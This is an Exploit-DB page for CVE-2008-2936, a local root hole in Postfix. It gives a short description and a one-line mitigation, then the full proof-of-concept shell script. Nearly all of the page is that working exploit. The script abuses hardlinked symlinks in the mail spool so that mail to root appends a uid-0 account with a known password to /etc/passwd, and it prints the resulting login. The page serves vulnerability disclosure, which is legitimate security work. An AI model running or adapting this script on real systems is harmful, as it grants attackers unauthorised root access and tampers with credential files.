Postfix local root vulnerability: CVE-2008-2936

This PoC exploits a local privilege escalation vulnerability in Postfix. It creates a hardlink to a symlink, which is not dereferenced, and then creates an alias in the alias maps. It then sends a mail to the root user, which is then used to modify the /etc/passwd file.

Mitigation:

Upgrade to the latest version of Postfix, or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

#!/bin/sh
#
# "rs_pocfix.sh" (PoC for Postfix local root vulnerability: CVE-2008-2936)
# by Roman Medina-Heigl Hernandez a.k.a. RoMaNSoFt <roman@rs-labs.com>
#
# Tested: Ubuntu / Debian
#
# [ Madrid, 30.Aug.2008 ]
#

# Config

writable_dir=/tmp
spool_dir=/var/mail		# Use "postconf mail_spool_directory" to obtain this
user=root
target=/etc/passwd
useful_link=/usr/bin/atq	# lrwxrwxrwx 2 root root 2 2007-05-04 22:15 /usr/bin/atq -> at
useful_link_dst=at		# Tip: find / -type l -uid 0 -print -exec ls -l {} \; | less
seconds=3
user_in_passwd="dsr:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh"   # Pass is "dsrrocks"
postfix=`which postfix`		# /usr/sbin/postfix
postconf=/usr/sbin/postconf
postmap=/usr/sbin/postmap


# Funcs

quit()
{
  echo "$1"
  exit
}


# Step 1: is my system vulnerable?

head -n 9 $0 | tail -n 8
if [ $postfix ] ; then
  echo "[*] Postfix seems to be installed"
else
  quit "[!] Are you sure Postfix is installed?"
fi

mkdir -p $writable_dir/pocfix
touch $writable_dir/pocfix/src
ln -s $writable_dir/pocfix/src $writable_dir/pocfix/dst1
ln $writable_dir/pocfix/dst1 $writable_dir/pocfix/dst2

if [ -L $writable_dir/pocfix/dst2 ] ; then
  echo "[*] Hardlink to symlink not dereferenced"
  rm -rf $writable_dir/pocfix
else
  rm -rf $writable_dir/pocfix
  quit "[!] Hardlink to symlink correctly dereferenced. System is not vulnerable"
fi

if [ -d $spool_dir -a -w $spool_dir ] ; then
  echo "[*] Spool dir is writable"
else
  quit "[!] Spool dir is not writable"
fi

if [ -e $spool_dir/$user ] ; then
  rm -f $spool_dir/$user
  echo "[*] Mailbox for \"$user\" found. Trying to delete it"

  if [ -e $spool_dir/$user ] ; then
    quit "[!] Couldn't delete it"
  else
    echo "[*] Deletion ok"
  fi

fi

if [ -e $spool_dir/$useful_link_dst ] ; then
  rm -f $spool_dir/$useful_link_dst
  echo "[*] Mailbox for \"$useful_link_dst\" found. Trying to delete it"

  if [ -e $spool_dir/$useful_link_dst ] ; then
    quit "[!] Couldn't delete it"
  else
    echo "[*] Deletion ok"
  fi

fi

aliases=`$postconf alias_database | cut -d"=" -f2`
$postconf alias_maps | grep -q $aliases
if [ $? -eq 0 ] ; then
  if [ $aliases ] ; then
    $postmap -q $user $aliases > /dev/null
    if [ $? -eq 0 ] ; then
      quit "[!] Mail alias for \"$user\" exists"
    fi
  fi
fi

lda=`$postconf mailbox_command | cut -d"=" -f2`
if [ $lda ] ; then
  quit "[!] Non-Postfix LDA detected"
fi 

$postconf home_mailbox | grep -q '/$'
if [ $? -eq 0 ] ; then
  quit "[!] Maildir-style mailbox detected"
fi


# Step 2: Exploiting

ln -f $useful_link $spool_dir/$user 2> /dev/null || quit "[!] Couldn't create hardlink (different partitions?)"
ln -s -f $target $spool_dir/$useful_link_dst 2> /dev/null || quit "[!] Couldn't create symlink pointing to target file"
cp -f $target $writable_dir/pocfix_target_backup.$$ && echo "[*] Backed up: $target (saved as \"$writable_dir/pocfix_target_backup.$$\")"
echo "[*] Sending mail ($seconds seconds wait)"
echo $user_in_passwd | /usr/sbin/sendmail $user

sleep $seconds

diff -q $target $writable_dir/pocfix_target_backup.$$ > /dev/null

if [ $? -eq 0 ] ; then
  echo "[!] Exploit failed"
else
  echo "[*] Exploit successful (appended data to $target). Now \"su dsr\", pass is \"dsrrocks\")"
fi

rm -f $spool_dir/$user
rm -f $spool_dir/$useful_link_dst

# milw0rm.com [2008-08-31]